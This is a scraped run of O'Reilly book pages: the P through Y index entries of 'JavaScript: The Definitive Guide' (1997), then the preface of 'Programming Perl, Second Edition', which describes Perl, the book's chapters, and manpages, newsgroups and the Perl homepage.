previous property : History.previous
primitive data types : Primitive Types and Reference Types
printing generated text : Printing and saving generated text
privacy (see security)
programming languages
typed versus untyped : Untyped Variables
programs (see scripts)
prompt()
Dialogs in onUnload()
Windows and Frames
Simple Dialogs
Window.prompt()
properties, object
Objects
Object Properties
for/in statement and : for...in
names as strings : Objects as Associative Arrays
prototype objects and : Object Prototypes
reading from Window objects
Security Holes and Security Hobbles
Security Hobbles in Navigator 3.0
with statement and : with
protocol property : URL.protocol
protocol specifiers
http: : Object Model Differences
prototype objects : Object Prototypes
prototype property
for Function object : Function.prototype
pseudo-random numbers : Math.random()

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Q

query strings : The Location Object
quote characters : String Literals

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

R

radio buttons : Backward radio and checkbox arrays
Radio element
Form Element Names and Values
Naming Forms and Form Elements
Radio
Radio.blur()
Radio.checked
Radio.click()
Radio.focus()
Radio.form
Radio.name
Radio.onblur()
Radio.onclick()
Radio.onfocus()
Radio.type
Radio.value
Radio element\ : Form Elements
Radio object : Radio.defaultChecked
random links : The Link Object
random()
Core Language Changes
Math.random()
read-only objects : The assign() Method
reading
array elements : Reading and Writing Array Elements
client state : Read and Write Client State with Cookies
cookies : Reading Cookies
files : What JavaScript Can't Do
object properties : Reading and Writing Object Properties
reference
comparing by : Equality (==)
counting : Reference Counting in Navigator 3.0
dangling
Dangling references
Workarounds for Navigator 2.0
reference counting : Core Language Features
reference data types : Primitive Types and Reference Types
referrer property
Document Properties
Document.referrer
refresh()
Miscellaneous Changes
Navigator.plugins.refresh()
regenerated documents : Event handlers in regenerated documents
regular expressions : Core Language Features
reload()
The Location Object
The Location Object
Location.reload()
remainder (%) operator : Modulo (%)
removeMember() : JSObject.removeMember()
replace()
The Location Object
The Location Object
Location.replace()
replacement, image (see images)
Request object : Server-Side JavaScript
reserve() : Array Methods
reserved words : Reserved Words
special numeric constants : Special Numeric Values
Reset button : The Form Object
Reset element
Form Elements
Reset
Reset.blur()
Reset.click()
Reset.focus()
Reset.form
Reset.name
Reset.onblur()
Reset.onclick()
Reset.onfocus()
Reset.type
Reset.value
reset()
Forms and Form Elements
The Form Object
Form.reset()
resizing documents : Content disappears upon resize
resolution, image : Other Image Properties
resources : Official Netscape Documentation
return statement
return
Defining and Invoking Functions
reverse() : Array.reverse()
rewind() : LiveVideo
round() : Math.round()

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

S

saving
caching images : Off-Screen Images and Caching
caching JavaScript code : Including JavaScript Files
cookies : Storing Cookies
generated text : Printing and saving generated text
state (see cookies)
scope, variable : Variable Scope
<SCRIPT> tags
Document.write() in nested tables
Frame properties overwrite others
Executable Content: JavaScript in a...
The <SCRIPT> Tag
Hiding Scripts from Old Browsers
FOR and EVENT attributes
Event Handlers in <SCRIPT> Tags
Scripts
scripting languages
JavaScript Is Not Simple
The LANGUAGE Attribute
LANGUAGE attribute : The LANGUAGE Attribute
scripts
CGI (see server-side JavaScript)
event-driven : The Event-Driven Programming Model
execution order of : Scripts
after <FRAMESET> tags : Scripts in framesets
hiding from browsers
Comments
Hiding Scripts from Old Browsers
multiple in document : The <SCRIPT> Tag
overwriting : Overwriting the current script
size limits : Script size limit
writing : Exploring JavaScript
scroll()
The Window Object
Still More Features
Other Window Programming Techniques
Window.scroll()
search property
The Location Object
URL.search
searching strings : lastIndexOf()
searching web pages : The Link Object
seconds
Date.getSeconds()
Date.setSeconds()
secure attribute (cookies) : Syntax of the Set-Cookie HTTP Respo...
security
Security Hobbles
JavaScript Security
JavaScript Security
cookies and : An Overview of Cookies
data-tainting model
JavaScript Security
The Data-Tainting Security Model
taint()
untaint()
denial of service attacks : Infinite Loops in JavaScript
denial-of-service attacks : Security Hobbles in Navigator 3.0
difference between Navigator 2.0 and 3.0 : JavaScript Security
downloaded web pages : Interact with Document Content
History object and
The History Object
Security Holes and Security Hobbles
Internet Explorer 3.0 : Security
reading/writing files : What JavaScript Can't Do
referrer property for : Document Properties
web crawler restrictions : The Link Object
seek() : LiveVideo
Select element
Form Elements
Form Element Names and Values
Select
Select.blur()
Select.click()
Select.focus()
Select.form
Select.length
Select.onblur()
Select.onchange()
Select.onfocus()
Select.options[]
Select.selectedIndex
Select.type
<SELECT> tags : Form Element Names and Values
select() : Element.select()
selected property : Option.selected
selectedIndex property : Select.selectedIndex
self property
The Function Object
The Implicit Window Reference
Window.self
semicolon (;)
Optional Semicolons
Statements
server-side JavaScript : Server-Side JavaScript
compatibility through : Compatibility Through CGI Scripts
servers, Window from different : Security Hobbles in Navigator 3.0
Set-Cookie: header : Syntax of the Set-Cookie HTTP Respo...
SetAnchorObject() : Live3D
SetBackgroundImage() : Live3D
setDate() : Date.setDate()
setHours() : Date.setHours()
setMember()
The JSObject Class
JSObject.setMember()
setMinutes() : Date.setMinutes()
setMonth() : Date.setMonth()
setSeconds() : Date.setSeconds()
setSlot()
The JSObject Class
JSObject.setSlot()
setTime() : Date.setTime()
setTimeout()
setTimeout() memory leak
Still More Features
Timer Events
Flushing Generated Output
Window.clearTimeout()
Window.setTimeout()
setvol() : LiveAudio
setYear() : Date.setYear()
shift left (<<) operator : Shift Left (<<)
shift right with sign (>>) operator : Shift Right with Sign (>>)
shift right zero fill (>>>) operator : Shift Right Zero Fill (>>>)
ShowObject() : Live3D
sin()
Math.asin()
Math.sin()
single-quote characters (XX_SQUOTE_XX) : String Literals
size
array (see length, array)
font : String.fontsize()
limits on scripts : Script size limit
numbers : Floating-Point Literals
window, on Unix platforms : Window Size on Unix Platforms
size property : Arrays in Navigator 2.0
<SMALL> tags : String.small()
small() : String.small()
sort()
Functions as Data Types
Array Methods
Array.sort()
sorting alphabetically : String Operators
sound (see LiveAudio plug-in)
sparse arrays
Adding New Elements to an Array
The length Property and Sparse Arrays
SpinObject() : Live3D
split()
Defensive Coding
String.split()
sqrt() : Math.sqrt()
SRC attribute
Core Language Changes
Including JavaScript Files
Scripts
Included Files and Compatibility wi...
Compatibility Through CGI Scripts
src property
Image Manipulation
Image Replacement with the Image.sr...
Off-Screen Images and Caching
Image.src
standalone JavaScript : Standalone JavaScript
start()
The JavaObject Object
Interacting with Applets
start_at_beginning() : LiveAudio
statement blocks : Compound Statements
statements : Statements
empty : The Empty Statement
loops : while
static methods : Classes in JavaScript
static variables : Classes in JavaScript
static variables, simulating : Function properties simulate static...
status line : The Status Line
status property
Status and defaultStatus
Windows and Frames
The Status Line
The Link Object
for Window object : Window.status
stop()
LiveAudio
LiveVideo
The JavaObject Object
Interacting with Applets
stopAll() : LiveAudio
stop_at_end() : LiveAudio
storing (see saving)
strike() : String.strike()
string context
Form Values and String Conversion
Conversions to Strings
string literals
String Literals
Strings
for colors
JavaScript and HTML Color Names and...
Document Properties
comparing : Comparing Strings and Functions
concatenating
Strings
String Operators
Workarounds for Navigator 2.0
converting (see converting)
converting to
Conversion of floating-point values...
Array Methods
copying and passing : Copying and Passing Strings and Fun...
date and time (see Date object)
empty
Conversions to Numbers
Conversions to booleans
encoding with escape sequences
escape()
unescape()
immutable : Mutable string values
operators for : String Operators
property names as : Objects as Associative Arrays
query strings : The Location Object
searching : lastIndexOf()
String object
String
String.anchor()
String.big()
String.blink()
String.bold()
String.charAt()
String.fixed()
String.fontcolor()
String.fontsize()
String.indexOf()
String.italics()
String.lastIndexOf()
String.length
String.link()
String.prototype
String.small()
String.split()
String.strike()
String.sub()
String.substring()
String.sup()
String.toLowerCase()
String.toUpperCase()
String() : Conversions to Objects
style sheets
JavaScript : Dynamic HTML
<SUB> tags : String.sub()
sub() : String.sub()
Submit button
Forms in CGI and JavaScript
The Form Object
Submit element
Form Elements
Submit
Submit.blur()
Submit.click()
Submit.focus()
Submit.form
Submit.name
Submit.onblur()
Submit.onclick()
Submit.onfocus()
Submit.type
Submit.value
submit()
The Form Object
Security Hobbles in Navigator 3.0
Form.submit()
substring() : String.substring()
subtraction
- (minus) operator : Subtraction (-)
-- (decrement) operator : Decrement (--)
suffixes property : MimeType.suffixes
sun property
Packages.sun
sun
<SUP> tags : String.sup()
sup() : String.sup()

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

T

tables : JavaScript and tables
Navigator 3.0 bugs : Table Bugs
tabs (see whitespace)
tail matching : Syntax of the Set-Cookie HTTP Respo...
taint()
JavaScript Security
The taint() and untaint() Functions
taint()
taintEnabled()
The Navigator, MimeType, and Plugin...
Navigator.taintEnabled()
tainting (see data-tainting security model)
tan() : Math.tan()
TARGET attribute
Window and Frame Names
Frame Programming Techniques
Form.target
Link.target
target property
Form.target
Link.target
temporary functions : The Function() Constructor
ternary operator
Number of Operands
The Conditional Operator (?:)
testing for existence : Event Handlers
text (ASCII) documents : Non-HTML Documents
TEXT attribute : Document Properties
Text element
Mutable string values
Form Elements
Text
Text.blur()
Text.defaultValue
Text.focus()
Text.form
Text.name
Text.onblur()
Text.onchange()
Text.onfocus()
Text.select()
Text.type
Text.value
text property
for Option element
Form Element Names and Values
Option.text
text-only browsers : Hiding Scripts from Really Old Browsers
Textarea element
Mutable string values
Form Elements
Textarea
Textarea.blur()
Textarea.defaultValue
Textarea.focus()
Textarea.form
Textarea.name
Textarea.onblur()
Textarea.onchange()
Textarea.onfocus()
Textarea.select()
Textarea.type
Textarea.value
<TEXTAREA> tags : Textarea
this (keyword)
Object Creation Operator (new)
Creating New Objects with Constructors
Methods
functions and : The Function Object
threads : JavaScript and Threads
time (see date and time)
time zones
Date.getTimezoneOffset()
Date.toGMTString()
Date.toLocaleString()
timeouts
Still More Features
Timer Events
Window.clearTimeout()
Window.setTimeout()
timestamp : Document Properties
title property
Document Properties
Document.title
<TITLE> tags
Document Properties
Document.title
toGMTString() : Date.toGMTString()
tokens : Whitespace and Line Breaks
toLocaleString() : Date.toLocaleString()
toLowerCase() : String.toLowerCase()
top property
Windows and Frames
Window.top
toString()
Form Values and String Conversion
The toString() Method
Conversions to Strings
Conversions to and from Objects
Converting Numbers to Strings
JavaScript Conversion of JavaObjects
for Boolean object : Boolean.toString()
for Function object : Function.toString()
for JSObject object : JSObject.toString()
for Number object : Number.toString()
for Object object : Object.toString()
toUpperCase() : String.toUpperCase()
trigonometric functions (see Math object)
true (keyword)
Boolean Literals
boolean Values
truncating arrays : Array Length Property
<TT> tags : String.fixed()
type property
for Element object : Element.type
for form elements
Forms and Form Elements
Form Elements
for MimeType object : MimeType.type
for Select element : Select.type
typed languages : Untyped Variables
typeof operator
Core Language Changes
Undefined
The typeof Operator
Conversions to Objects
types (see data types)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

U

unary operators : Number of Operands
new
Data Type Wrapper Objects
Object Creation Operator (new)
Creating New Objects with Constructors
Creating Arrays
typeof
Undefined
The typeof Operator
typeof operator : Conversions to Objects
typeof operators : Core Language Changes
void
The void Operator
JavaScript in URLs
- (negation) : Unary Negation (-)
undefined (value)
Undefined
Undefined Object Properties
converting
Conversions to Strings
Conversions to Numbers
Conversions to booleans
Conversions to Objects
unescape()
Reading Cookies
unescape()
Unix platforms : Window.open() method
browser background color : Document Properties
data tainting on : Enabling Data Tainting in Navigator 3.0
window size and : Window Size on Unix Platforms
unnamed functions : The Function() Constructor
untaint()
JavaScript Security
The taint() and untaint() Functions
untaint()
untyped variables : Untyped Variables
URL object
URL
URL.hash
URL.host
URL.hostname
URL.href
URL.pathname
URL.port
URL.protocol
URL.search
URL property
Miscellaneous Changes
Document Properties
Document.URL
URL protocol specifiers
javascript:
Exploring JavaScript
JavaScript URL Execution
mailto:
Security Holes and Security Hobbles
Security Hobbles in Navigator 3.0
URLs
Document.URL
about:cache : Security Holes and Security Hobbles
extracting information from : The Location Object
javascript: protocol specifier : JavaScript in URLs
referral : Document Properties
Usenet, JavaScript newsgroups : Discussion of JavaScript
User-Agent header : Compatibility Through CGI Scripts
userAgent property
The Navigator, MimeType, and Plugin...
Compatibility Through CGI Scripts
Navigator.userAgent
users (see input)
input from (see input)
interacting with
Interact with the User
Using the Java System Classes
notifying of browser incompatibility : Notifying Users of Old Browsers
UTC() : Date.UTC()

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

V

validifying (see verifying)
VALUE attribute : Form Element Names and Values
value property
for Button element : Button.value
for Checkbox element : Checkbox.value
for Element object : Element.value
for FileUpload element
FileUpload bug
Security Hobbles in Navigator 3.0
FileUpload.value
for form elements : Form Element Names and Values
for Hidden element : Hidden.value
for Option element : Option.value
for Password element
Security Hobbles in Navigator 3.0
Password.value
for Radio element : Radio.value
for Reset element : Reset.value
for Submit element : Submit.value
for Text element : Text.value
for Text, Textarea elements : Mutable string values
for Textarea element : Textarea.value
value. comparing by : Equality (==)
valueOf()
The valueOf() Method
Conversions to Numbers
Conversions to and from Objects
Java Field Values versus Method Ret...
Object.valueOf()
var (keyword) : Variable Declaration
var statement : var
variables
Variables
for browser information : Still More Features
counters : while
declaring
Variable Declaration
var
as function properties : Function arguments and variables ar...
how they are looked up : with
instance variables : Classes in JavaScript
lifetime of : Window and Variable Lifetime
local
Variable Declaration
var
multiple scripts and : The <SCRIPT> Tag
scope of : Variable Scope
static : Classes in JavaScript
static, simulating : Function properties simulate static...
as window properties : The JavaScript Name Space
VBScript language
VBScript
Case Sensitivity in Internet Explorer
verifying
form input
Interact with Document Content
Form Verification Example
function arguments : The arguments[] Array
plug-in support : The MimeType Object
version
browser
Determining Browser Version Information
Navigator.appVersion
JavaScript
Flavors and Versions of JavaScript
Compatibility with JavaScript 1.0 B...
JavaScript, compatibility and : Compatibility with JavaScript 1.0 B...
video (see animation; images; LiveVideo plug-in)
Visual Basic (see VBScript language)
VLINK attribute : Document Properties
vlinkColor property
Document Properties
Document.vlinkColor
void operator
Core Language Changes
The void Operator
JavaScript in URLs
VPSACE attribute : Image.vspace
VRML, plug-in for : Live3D
vspace property
Other Image Properties
Image.vspace

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

W

web crawler programs : The Link Object
while statement : while
whitespace
Whitespace and Line Breaks
Non-HTML Documents
in dialog boxes : Simple Dialogs
empty statements : The Empty Statement
indentation of code
Whitespace and Line Breaks
if
newline characters
Whitespace and Line Breaks
Escape Sequences in String Literals
tabs : Whitespace and Line Breaks
write() versus writeln() : The write() Method
WIDTH attribute
Images and form event handlers
Other Image Techniques
Image.width
width property
Other Image Properties
Image.width
Window object
The Window Object
Control the Browser
Windows and the JavaScript Name Space
Security Holes and Security Hobbles
Security Hobbles in Navigator 3.0
java
netscape
sun
Window
Window.alert()
Window.blur()
Window.clearTimeout()
Window.close()
Window.closed
Window.confirm()
Window.defaultStatus
Window.document
Window.focus()
Window.frames[]
Window.history
Window.java
Window.length
Window.Math
Window.name
Window.navigate()
Window.navigator
Window.netscape
Window.onblur()
Window.onerror()
Window.onfocus()
Window.onload()
Window.onunload()
Window.open()
Window.opener
Window.Packages
Window.parent
Window.prompt()
Window.scroll()
Window.self
Window.setTimeout()
Window.status
Window.sun
Window.top
Window.window
lifetime of : Window and Variable Lifetime
window property
The Implicit Window Reference
Window.window
windows
Opening and Closing Windows
closing itself : Security Hobbles in Navigator 3.0
dialog boxes : Simple Dialogs
event handlers bug : Event handlers in regenerated documents
multiple : Multiple Windows and Explicit Windo...
scrolling contents : Other Window Programming Techniques
status line : The Status Line
variables as properties of : The JavaScript Name Space
Windows object : Window.location
Windows platforms : Form Bugs on Windows Platforms
data tainting on : Enabling Data Tainting in Navigator 3.0
eval() and : eval()
with statement
with
Variable Scope
World Wide Web
browsers (see browsers)
client-side JavaScript
Executable Content: JavaScript in a...
Client-Side JavaScript
initialization and clean-up : onLoad() and onUnload() Event Handlers
JavaScript in URLs : JavaScript in URLs
wrapper objects
Data Type Wrapper Objects
Wrapper Objects
write()
Document.write() in nested tables
Printing and saving generated text
Overwriting the current script
Executable Content: JavaScript in a...
The write() Method
for Document object : Document.write()
writeln() : The write() Method
for Document object : Document.writeln()
writing
array elements : Reading and Writing Array Elements
client state : Read and Write Client State with Cookies
files : What JavaScript Can't Do
object properties : Reading and Writing Object Properties
scripts : Exploring JavaScript

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

X

X Window System
Window Size on Unix Platforms
Window.open() method
XBM format : Non-HTML Documents

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Y

year
Date.getYear()
Date.setYear()
yes/no (see Boolean data type)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Preface

Contents:
Perl in a Nutshell
The Rest of This Book
Additional Resources
How to Get Perl
Conventions Used in This Book
Acknowledgments
We'd Like to Hear from You

Perl in a Nutshell

Perl is a language for getting your job done.

Of course, if your job is programming, you can get your job done with any "complete" computer language, theoretically speaking. But we know from experience that computer languages differ not so much in what they make possible, but in what they make easy. At one extreme, the so-called "fourth generation languages" make it easy to do some things, but nearly impossible to do other things. At the other extreme, certain well known, "industrial-strength" languages make it equally difficult to do almost everything.

Perl is different. In a nutshell, Perl is designed to make the easy jobs easy, without making the hard jobs impossible.

And what are these "easy jobs" that ought to be easy? The ones you do every day, of course. You want a language that makes it easy to manipulate numbers and text, files and directories, computers and networks, and especially programs. It should be easy to run external programs and scan their output for interesting tidbits. It should be easy to send those same tidbits off to other programs that can do special things with them. It should be easy to develop, modify, and debug your own programs too. And, of course, it should be easy to compile and run your programs, and do it portably, on any modern operating system.

Perl does all that, and a whole lot more.

Initially designed as a glue language for the UNIX operating system (or any of its myriad variants), Perl also runs on numerous other systems, including MS-DOS, VMS, OS/2, Plan 9, Macintosh, and any variety of Windows you care to mention. It is one of the most portable programming languages available today. To program C portably, you have to put in all those strange #ifdef markings for different operating systems. And to program a shell portably, you have to remember the syntax for each operating system's version of each command, and somehow find the least common denominator that (you hope) works everywhere. Perl happily avoids both of these problems, while retaining many of the benefits of both C and shell programming, with some additional magic of its own. Much of the explosive growth of Perl has been fueled by the hankerings of former UNIX programmers who wanted to take along with them as much of the "old country" as they could. For them, Perl is the portable distillation of UNIX culture, an oasis in the wilderness of "can't get there from here". On the other hand, it works in the other direction, too: Web programmers are often delighted to discover that they can take their scripts from a Windows machine and run them unchanged on their UNIX servers.

Although Perl is especially popular with systems programmers and Web developers, it also appeals to a much broader audience. The hitherto well-kept secret is now out: Perl is no longer just for text processing. It has grown into a sophisticated, general-purpose programming language with a rich software development environment complete with debuggers, profilers, cross-referencers, compilers, interpreters, libraries, syntax-directed editors, and all the rest of the trappings of a "real" programming language. (But don't let that scare you: nothing requires you to go tinkering under the hood.) Perl is being used daily in every imaginable field, from aerospace engineering to molecular biology, from computer-assisted design/computer-assisted manufacturing (CAD/CAM) to document processing, from database manipulation to client-server network management. Perl is used by people who are desperate to analyze or convert lots of data quickly, whether you're talking DNA sequences, Web pages, or pork belly futures. Indeed, one of the jokes in the Perl community is that the next big stock market crash will probably be triggered by a bug in a Perl script. (On the brighter side, any unemployed stock analysts will still have a marketable skill, so to speak.)

There are many reasons for the success of Perl. It certainly helps that Perl is freely available, and freely redistributable. But that's not enough to explain the Perl phenomenon, since many freeware packages fail to thrive. Perl is not just free; it's also fun. People feel like they can be creative in Perl, because they have freedom of expression: they get to choose what to optimize for, whether that's computer speed or programmer speed, verbosity or conciseness, readability or maintainability or reusability or portability or learnability or teachability. You can even optimize for obscurity, if you're entering an Obfuscated Perl contest.

Perl can give you all these degrees of freedom because it's essentially a language with a split personality. It's both a very simple language and a very rich language. It has taken good ideas from nearly everywhere, and installed them into an easy-to-use mental framework. To those who merely like it, Perl is the Practical Extraction and Report Language. To those who love it, Perl is the Pathologically Eclectic Rubbish Lister. And to the minimalists in the crowd, Perl seems like a pointless exercise in redundancy. But that's okay. The world needs a few reductionists (mainly as physicists). Reductionists like to take things apart. The rest of us are just trying to get it together.

Perl is in many ways a simple language. You don't have to know many special incantations to compile a Perl program--you can just execute it like a shell script. The types and structures used by Perl are easy to use and understand. Perl doesn't impose arbitrary limitations on your data--your strings and arrays can grow as large as they like (so long as you have memory), and they're designed to scale well as they grow. Instead of forcing you to learn new syntax and semantics, Perl borrows heavily from other languages you may already be familiar with (such as C, and sed, and awk, and English, and Greek). In fact, just about any programmer can read a well-written piece of Perl code and have some idea of what it does.

Most important, you don't have to know everything there is to know about Perl before you can write useful programs. You can learn Perl "small end first". You can program in Perl Baby-Talk, and we promise not to laugh. Or more precisely, we promise not to laugh any more than we'd giggle at a child's creative way of putting things. Many of the ideas in Perl are borrowed from natural language, and one of the best ideas is that it's okay to use a subset of the language as long as you get your point across. Any level of language proficiency is acceptable in Perl culture. We won't send the language police after you. A Perl script is "correct" if it gets the job done before your boss fires you.

Though simple in many ways, Perl is also a rich language, and there is much to be learned about it. That's the price of making hard things possible. Although it will take some time for you to absorb all that Perl can do, you will be glad that you have access to the extensive capabilities of Perl when the time comes that you need them. We noted above that Perl borrows many capabilities from the shells and C, but Perl also possesses a strict superset of sed and awk capabilities. There are, in fact, translators supplied with Perl to turn your old sed and awk scripts into Perl scripts, so you can see how the features you may already be familiar with correspond to those of Perl.

Because of that heritage, Perl was a rich language even when it was "just" a data-reduction language, designed for navigating files, scanning large amounts of text, creating and obtaining dynamic data, and printing easily formatted reports based on that data. But somewhere along the line, Perl started to blossom. It also became a language for filesystem manipulation, process management, database administration, client-server programming, secure programming, Web-based information management, and even for object-oriented and functional programming. These capabilities were not just slapped onto the side of Perl--each new capability works synergistically with the others, because Perl was designed to be a glue language from the start.

But Perl can glue together more than its own features. Perl is designed to be modularly extensible. Perl allows you to rapidly design, program, debug, and deploy applications, but it also allows you to easily extend the functionality of these applications as the need arises. You can embed Perl in other languages, and you can embed other languages in Perl. Through the module importation mechanism, you can use these external definitions as if they were built-in features of Perl. Object-oriented external libraries retain their object-orientedness in Perl.

Perl helps you in other ways too. Unlike a strictly interpreted language such as the shell, which compiles and executes a script one command at a time, Perl first compiles your whole program quickly into an intermediate format. Like any other compiler, it performs various optimizations, and gives you instant feedback on everything from syntax and semantic errors to library binding mishaps. Once Perl's compiler frontend is happy with your program, it passes off the intermediate code to the interpreter to execute (or optionally to any of several modular back ends that can emit C or bytecode.) This all sounds complicated, but the compiler and interpreter are quite efficient, and most of us find that the typical compile-run-fix cycle is measured in mere seconds. Together with Perl's many fail-soft characteristics, this quick turnaround capability makes Perl a language in which you really can do rapid prototyping. Then later, as your program matures, you can tighten the screws on yourself, and make yourself program with less flair but more discipline. Perl helps you with that too, if you ask nicely.

Perl also helps you to write programs more securely. While running in privileged mode, you can temporarily switch your identity to something innocuous before accessing system resources. Perl also guards against accidental security errors through a data tracing mechanism that automatically determines which data was derived from insecure sources and prevents dangerous operations before they can happen. Finally, Perl lets you set up specially protected compartments in which you can safely execute Perl code of dubious lineage, masking out dangerous operations. System administrators and CGI programmers will particularly welcome these features.

But, paradoxically, the way in which Perl helps you the most has almost nothing to do with Perl, and everything to do with the people who use Perl. Perl folks are, frankly, some of the most helpful folks on earth. If there's a religious quality to the Perl movement, then this is at the heart of it. Larry wanted the Perl community to function like a little bit of heaven, and he seems to have gotten his wish, so far. Please do your part to keep it that way.

Whether you are learning Perl because you want to save the world, or just because you are curious, or because your boss told you to, this handbook will lead you through both the basics and the intricacies. And although we don't intend to teach you how to program, the perceptive reader will pick up some of the art, and a little of the science, of programming. We will encourage you to develop the three great virtues of a programmer: laziness, impatience, and hubris. Along the way, we hope you find the book mildly amusing in some spots (and wildly amusing in others). And if none of this is enough to keep you awake, just keep reminding yourself that learning Perl will increase the value of your resume. So keep reading.

Home | Next
Book Index | The Rest of This Book
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Preface] The Rest of This Book

Programming Perl, Second Edition

Previous Preface Next

The Rest of This Book

Here's how the book is laid out:

Chapter 1, An Overview of Perl. Getting started is always hard to do. This chapter presents the fundamental ideas of Perl in an informal, curl-up-in-your-favorite-chair fashion. Not a full tutorial, it merely offers a quick jump-start, which may not serve everyone's need. Learning Perl (discussed in the next section) offers a more complete, carefully paced introduction to the language.

Chapter 2, The Gory Details. This chapter consists of an in-depth, no-holds-barred discussion of the guts of the language, from data types, variables, and objects to functions, subroutines, and modules, as well as special variables, control flow, and regular expressions. You'll gain a good sense of how the language works.

Chapter 3, Functions. Here you'll find an authoritative, reference-style description of Perl's built-in functions. The explanations cover function syntax, arguments, and general use.

Chapter 4, References and Nested Data Structures. References in Perl are analogous to pointers in C. This chapter tells you how to create references, how to get at the data they refer to, and how to build complex, nested data structures by using references. A tutorial and extensive examples guide you through the subtleties of the topic.

Chapter 5, Packages, Modules, and Object Classes. Packages give you a tool for namespace management, and library modules enable you to write reusable code. Together, packages and modules provide a basis for Perl's object-oriented facilities. In addition to explaining these matters, this chapter offers a brief refresher on object-oriented programming, illustrates how to treat built-in variables as objects, and provides some hints for good object-oriented design using Perl.

Chapter 6, Social Engineering. This chapter presents how Perl tries to cooperate with everything and everyone in the whole wide world, up to a point.

Chapter 7, The Standard Perl Library. This reference chapter describes all the library modules that come with the standard Perl distribution. These modules greatly extend the range of the language. Interfaces to standard database packages, tools for managing terminal input, mechanisms for loading code on the fly at run-time, mathematical packages, safe programming aids, and much else--it is well worth your time to browse through the brief listing of modules at the beginning of this chapter.

Chapter 8, Other Oddments. Leftovers worthy of a main meal: the Perl debugger, efficiency considerations, common mistakes, programming style, and a few historical and postmodernist notes.

Chapter 9, Diagnostic Messages. Special communications from Perl to you at particularly difficult moments--sometimes helpful, occasionally snide, and too often ignored. But never irrelevant.

Glossary. The words and definitions you'll find here aren't exactly what you'd expect in a normal glossary, but Perl is not really a normal language (nor are the authors of this book really normal authors, or normally real authors).

Previous | Home | Next
Perl in a Nutshell | Book Index | Additional Resources
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Preface] Additional Resources

Programming Perl, Second Edition

Previous Preface Next

Additional Resources

Perl Manpages

The online manpages for Perl have been divided into separate sections so you can easily find what you are looking for without wading through hundreds of pages of text. Since the top-level manpage is simply called perl, the UNIX command "man perl" should take you to it.[1] That page in turn directs you to more specific pages. For example, "man perlre" will display the manpage for Perl's regular expressions. The perldoc command may work when the man (1) command won't, especially on module documentation that your system administrator may not have felt comfortable installing with the ordinary manpages. On the other hand, your system administrator may have installed the Perl documentation in hypertext markup language (HTML) format.

[1] If you still get a humongous page when you do that, you're probably picking up the ancient Release 4 manpage. Check your MANPATH for archeological sites.

Usenet Newsgroups

The Perl newsgroups are a great, if sometimes cluttered, source of information about Perl. comp.lang.perl.announce is a moderated, low-traffic newsgroup for Perl-related announcements. These often deal with new version releases, bug fixes, new extensions and modules, and Frequently Asked Questions (FAQs).

The high-traffic comp.lang.perl.misc group discusses everything from technical issues to Perl philosophy to Perl games and Perl poetry. Like Perl itself, comp.lang.perl.misc is meant to be useful, and no question is too silly to ask.[2]

[2] Of course, some questions are too silly to answer, especially those already answered in the FAQ.

The comp.lang.perl.tk group discusses how to use the popular Tk toolkit from Perl. The comp.lang.perl.modules group is about the development and use of Perl modules, which are the best way to get reusable code. There may be other comp.lang.perl.whatever newsgroups by the time you read this; look around.

One other newsgroup you might want to check out, at least if you're doing CGI programming on the Web, is comp.infosystems.www.authoring.cgi. While it isn't strictly speaking a Perl group, most of the programs discussed there are written in Perl. It's the right place to go for Web-related Perl issues.

The Perl Homepage

If you have access to the World Wide Web, visit the Perl homepage at http://www.perl.com/perl/. It tells what's new in the Perl world, and contains source code and ports, documentation, third-party modules, the Perl bugs database, mailing list information, and more. This site also provides the CPAN multiplexer, described later.

